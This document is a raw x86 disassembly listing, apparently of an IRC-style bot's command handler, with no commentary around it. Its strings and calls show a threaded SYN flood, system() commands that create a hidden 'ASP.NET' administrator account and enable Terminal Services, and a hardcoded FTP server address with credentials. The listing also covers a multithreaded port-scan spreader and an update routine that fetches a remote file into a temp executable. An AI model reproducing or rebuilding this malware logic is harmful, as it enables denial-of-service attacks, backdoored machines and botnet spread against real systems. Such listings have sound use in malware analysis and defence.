push 0x7f
mov eax, dword [ebp + 8]
push dword [eax + 0xc]
lea eax, [ebp - 0x6b8]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
cmp dword [ebp + 0x1c], 0
jne 0x40303e
cmp dword [ebp + 0x20], 0
jne 0x40303e
mov eax, dword [ebp + 8]
push dword [eax + 0xc]
mov eax, dword [ebp + 8]
push dword [eax + 8]
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.FUCKING:_______s:_s__for___s_secs_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x18
mov eax, dword [ebp + 8]
push dword [eax + 0xc]
mov eax, dword [ebp + 8]
push dword [eax + 8]
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.SYN:_______s:_s__for___s_secs_.
push 6
call fcn.0040f822
add esp, 0x14
mov dword [ebp - 0x538], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x7c0]
push eax
push 0x40f5c7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x538]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x538]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x4030bd
cmp dword [ebp - 0x52c], 0
jne 0x4030bb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4030a8
jmp 0x403108
cmp dword [ebp + 0x1c], 0
jne 0x4030e6
cmp dword [ebp + 0x20], 0
jne 0x4030e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41553c
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
cmp dword [ebp + 0x20], 0
je 0x403108
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SYN:_Failed_to_start_thread_error:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax]
push dword [ebp - 4]
call fcn.004097dd
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413284
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403173
cmp dword [ebp + 0x20], 0
jne 0x40314c
push 0x415594
push 6
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
jmp 0x40316b
push str.SSyn
push 6
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push 0x4155a4
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4031ef
push str.net_user_ASP.NET_hardcore__add_n
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_localgroup_Administrators_ASP.NET__add
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_localgroup_Administrator_ASP.NET__add
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_localgroup_Administratoren_ASP.NET__add
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_localgroup_Administradors_ASP.NET__add
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_localgroup_Administrateurs_ASP.NET__add
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.wmic_PATH_win32_terminalservicesetting_WHERE____Class_____CALL_SetAllowTSConnections_1
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push str.net_start__Terminal_Services_
call dword [sym.imp.MSVCRT.dll_system]
pop ecx
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push 0x41571c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x403217
mov eax, dword [ebp + 8]
push dword [eax]
push 0x4132fc
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40326b
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x403235
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0x7c4], eax
jmp 0x403243
push 4
call fcn.0040fb80
pop ecx
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 0
je 0x403263
push dword [ebp - 0x7c4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00401500
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.sftp
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40336f
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x4032b9
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x4032b9
mov eax, dword [ebp + 8]
cmp dword [eax + 0xc], 0
je 0x4032b9
mov eax, dword [ebp + 8]
cmp dword [eax + 0x10], 0
je 0x4032b9
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0
je 0x4032b9
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 0
jne 0x4032c1
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.208.43.33.99
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
push dword [eax + 8]
push str.8989
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
push dword [eax + 0xc]
push 0x418394
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
push dword [eax + 0x10]
push str.hacken
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
push dword [eax + 0x14]
push 0x4183f4
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
push dword [eax + 0x18]
push 0x4183d4
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [ebp + 0x1c], 0
jne 0x403367
push 0x4183d4
push 0x4183f4
push str.8989
push str.208.43.33.99
push str.hacken
push 0x418394
push str.ftp:___s:_s__s:_s__s_path:__s
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x24
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.scan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40339b
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413318
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403b53
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x4033bf
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x4033bf
mov eax, dword [ebp + 8]
cmp dword [eax + 0xc], 0
je 0x4033bf
mov eax, dword [ebp + 8]
cmp dword [eax + 0x10], 0
jne 0x4033e8
cmp dword [ebp + 0x1c], 0
jne 0x4033e0
push str.SC__
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
push 4
call fcn.0040fbc2
pop ecx
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp + 8]
push dword [eax + 8]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 0x7c8]
add ecx, eax
cmp ecx, 0x100
jle 0x40343f
cmp dword [ebp + 0x1c], 0
jne 0x40343a
push dword [ebp - 0x7c8]
push str.SC__
push str._s_Already_scanning_with__d_threads._Too_many_specified.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
jmp 0x403b4b
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
movzx eax, ax
mov dword [ebp - 0x800], eax
mov eax, dword [ebp + 8]
push dword [eax + 8]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp + 8]
push dword [eax + 0xc]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 3
jae 0x403490
mov dword [ebp - 0xb9c], 3
jmp 0x40349c
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 0x3c
jbe 0x4034bd
mov dword [ebp - 0xba0], 0x3c
jmp 0x4034c9
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xba0], eax
mov eax, dword [ebp - 0xba0]
mov dword [ebp - 0x7fc], eax
mov eax, dword [ebp + 8]
push dword [eax + 0x10]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 0x270f
jbe 0x403500
mov dword [ebp - 0xba4], 0x270f
jmp 0x40350c
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xba4]
mov dword [ebp - 0x7f8], eax
or dword [ebp - 0x7e4], 0xffffffff
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.banner
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403576
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 0
jne 0x403560
cmp dword [ebp + 0x1c], 0
jne 0x40355e
push str.SC__
push 0x415794
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
jmp 0x403576
mov eax, dword [ebp + 8]
push dword [eax + 0x18]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
movzx eax, ax
mov dword [ebp - 0x800], eax
and dword [ebp - 8], 0
jmp 0x403583
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
shl eax, 6
cmp dword [eax + 0x4141f0], 0
je 0x4035cd
mov eax, dword [ebp + 8]
push dword [eax + 4]
mov eax, dword [ebp - 8]
shl eax, 6
add eax, str.svrsvc_XXX
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4035cb
mov eax, dword [ebp - 8]
shl eax, 6
mov eax, dword [eax + 0x4141f0]
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x7e4], eax
jmp 0x4035cd
jmp 0x40357c
cmp dword [ebp - 0x800], 0
jne 0x4035fc
cmp dword [ebp + 0x1c], 0
jne 0x4035f7
push str.SC__
push str._s_Failed_to_start_scan__port_is_invalid.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
jmp 0x403b4b
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0
je 0x4036b1
mov eax, dword [ebp + 8]
push dword [eax + 0x14]
push str.x.x.x.x
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x403678
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xf0
idiv ecx
add edx, 4
mov dword [ebp - 0x894], edx
cmp dword [ebp - 0x894], 0x7f
jne 0x40364f
jmp 0x40362d
push dword [ebp - 0x894]
push str._d.x.x.x
push 0x10
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
mov dword [ebp - 0x7d8], 1
jmp 0x4036ac
mov eax, dword [ebp + 8]
push dword [eax + 0x14]
push 0x10
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0xc
push 0x78
mov eax, dword [ebp + 8]
push dword [eax + 0x14]
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
pop ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x7d8], eax
jmp 0x4039c4
cmp dword [ebp + 0x64], 0
jne 0x4036d3
cmp dword [ebp + 0x54], 0
jne 0x4036d3
cmp dword [ebp + 0x58], 0
jne 0x4036d3
cmp dword [ebp + 0x5c], 0
jne 0x4036d3
cmp dword [ebp + 0x60], 0
je 0x40399b
cmp dword [ebp + 0x64], 0
je 0x40384a
and dword [ebp - 0x89c], 0
cmp dword [ebp + 0x54], 0
je 0x4036f6
mov dword [ebp - 0x89c], 1
jmp 0x403743
cmp dword [ebp + 0x58], 0
je 0x403708
mov dword [ebp - 0x89c], 2
jmp 0x403743
cmp dword [ebp + 0x5c], 0
je 0x40371a
mov dword [ebp - 0x89c], 3
jmp 0x403743
cmp dword [ebp + 0x1c], 0
jne 0x40373b
push str.SC__
push str._s_No_subnet_class_specified__try___a__or___b__or___c_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, 0x419d4c
test eax, eax
je 0x403770
push 0x419e78
push 0x419d4c
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x403770
push 0x419d4c
call fcn.004110c2
pop ecx
test eax, eax
je 0x4037d4
cmp dword [ebp + 0x1c], 0
jne 0x403797
cmp dword [ebp + 0x24], 0
jne 0x403797
push str.SC__
push str._s_Trying_to_get_external_IP.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
lea eax, [ebp - 0x8a0]
push eax
push 0
push 0
push 0x411021
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x8a4], eax
push 0x2710
push dword [ebp - 0x8a4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x8a4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x89c]
push dword [ebp + 0x60]
push 0x419d4c
call fcn.00401363
add esp, 0xc
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 0
je 0x403813
push 0x10
push dword [ebp - 0x898]
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
jmp 0x40383c
cmp dword [ebp + 0x1c], 0
jne 0x403834
push str.SC__
push str._s_Could_not_parse_external_IP.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 0x60]
mov dword [ebp - 0x7d8], eax
jmp 0x403999
mov dword [ebp - 0x8b8], 0x10
lea eax, [ebp - 0x8b8]
push eax
lea eax, [ebp - 0x8b4]
push eax
mov ecx, dword [ebp - 4]
call fcn.0040a15e
push eax
call dword [0x41cc94]
cmp dword [ebp + 0x54], 0
je 0x40388a
mov eax, dword [ebp - 0x8b0]
and eax, 0xff
mov dword [ebp - 0x8b0], eax
jmp 0x4038ba
cmp dword [ebp + 0x58], 0
je 0x4038a3
mov eax, dword [ebp - 0x8b0]
and eax, 0xffff
mov dword [ebp - 0x8b0], eax
jmp 0x4038ba
cmp dword [ebp + 0x5c], 0
je 0x4038ba
mov eax, dword [ebp - 0x8b0]
and eax, 0xffffff
mov dword [ebp - 0x8b0], eax
push 0x10
push dword [ebp - 0x8b0]
call dword [0x41cd54]
push eax
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x403992
and dword [ebp - 0x8c4], 0
cmp dword [ebp + 0x54], 0
je 0x4038fc
mov dword [ebp - 0x8c4], 3
jmp 0x40391e
cmp dword [ebp + 0x58], 0
je 0x40390e
mov dword [ebp - 0x8c4], 2
jmp 0x40391e
cmp dword [ebp + 0x5c], 0
je 0x40391e
mov dword [ebp - 0x8c4], 1
push 0x30
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x8bc], eax
and byte [ebp - 0x8c0], 0
jmp 0x40396c
mov eax, dword [ebp - 0x8bc]
mov byte [eax], 0x78
push 0x30
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x8bc], eax
mov al, byte [ebp - 0x8c0]
add al, 1
mov byte [ebp - 0x8c0], al
movsx eax, byte [ebp - 0x8c0]
cmp eax, dword [ebp - 0x8c4]
jge 0x403986
cmp dword [ebp - 0x8bc], 0
je 0x403986
jmp 0x40393e
mov dword [ebp - 0x7d8], 1
jmp 0x403999
and dword [ebp - 0x7d8], 0
jmp 0x4039c4
cmp dword [ebp + 0x1c], 0
jne 0x4039bc
push str.SC__
push str._s_Failed_to_start_scan__no_IP_specified.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x7cc], eax
mov eax, dword [0x41cf8c]
imul eax, eax, 0x128
add eax, 0x418544
push eax
lea eax, [ebp - 0x880]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [ebp - 0x7d8], 0
je 0x403a13
mov dword [ebp - 0xba8], 0x4158a4
jmp 0x403a1d
mov dword [ebp - 0xba8], 0x4158ac
push dword [ebp - 0x7e8]
push dword [ebp - 0x7f8]
push dword [ebp - 0x7fc]
push dword [ebp - 0x800]
lea eax, [ebp - 0x890]
push eax
push dword [ebp - 0xba8]
push str.SC__
push 0x4158b8
push 4
call fcn.0040f822
add esp, 0x24
mov dword [ebp - 0x7f4], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x890]
push eax
push 0x401975
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x7f4]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x7f4]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x403b23
cmp dword [ebp - 0x7d4], 0
jne 0x403ab6
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403aa3
cmp dword [ebp + 0x1c], 0
jne 0x403b21
cmp dword [ebp + 0x24], 0
jne 0x403b21
cmp dword [ebp - 0x7d8], 0
je 0x403ad7
mov dword [ebp - 0xbac], str.Random
jmp 0x403ae1
mov dword [ebp - 0xbac], str.Sequential
push dword [ebp - 0x7e8]
push dword [ebp - 0x7f8]
push dword [ebp - 0x7fc]
push dword [ebp - 0x800]
lea eax, [ebp - 0x890]
push eax
push dword [ebp - 0xbac]
push str.SC__
push str._s__s_Port_Scan_started_on__s:_d_with_a_delay_of__d_seconds_for__d_minutes_using__d_threads.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x28
jmp 0x403b4b
cmp dword [ebp + 0x1c], 0
jne 0x403b4b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SC__
push str._s_Failed_to_start_scan_thread__error:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.enable
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403dd7
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x403b98
cmp dword [ebp + 0x1c], 0
jne 0x403b90
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x403bbe
mov eax, dword [ebp + 8]
push dword [eax + 8]
push str.Botidf
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403bbe
push 1
pop eax
jmp 0x403dd9
push 0xa
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x403bfb
cmp dword [ebp + 0x1c], 0
jne 0x403bf3
push dword [ebp - 0xc]
push 0x4159bc
push str._s_already_running:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
lea eax, [ebp - 0xb88]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 9
pop ecx
idiv ecx
push edx
lea eax, [ebp - 0xb88]
push eax
push str._stempfile_d_d_d_d_d.exe
lea eax, [ebp - 0xa84]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
mov eax, dword [ebp - 4]
mov dword [ebp - 0x980], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x8d0], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x97c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x8f8], eax
lea eax, [ebp - 0xa84]
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 0xc], 0
je 0x403cc6
mov dword [ebp - 0x8e0], 1
jmp 0x403ccd
and dword [ebp - 0x8e0], 0
mov dword [ebp - 0x8ec], 1
and dword [ebp - 0x8e8], 0
and dword [ebp - 0x8e4], 0
cmp dword [ebp - 0x10], 0
je 0x403cf7
mov dword [ebp - 0xbb0], 0x4159e8
jmp 0x403d03
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0xbb0], eax
push dword [ebp - 0x8f4]
push dword [ebp - 0xbb0]
push 0x4159ec
push 0xa
call fcn.0040f822
add esp, 0x10
mov dword [ebp - 0x8fc], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x980]
push eax
push 0x403ddb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x8fc]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x8fc]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x403daa
cmp dword [ebp - 0x8c8], 0
jne 0x403d7a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403d67
cmp dword [ebp + 0x1c], 0
jne 0x403da8
cmp dword [ebp + 0x28], 0
je 0x403da8
push dword [ebp - 0x8f4]
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.Updating_from__s___s_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
jmp 0x403dd2
cmp dword [ebp + 0x1c], 0
jne 0x403dd2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.transfer_thread
push str.Failed_to_start_thread__s__error:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
xor eax, eax
leave
ret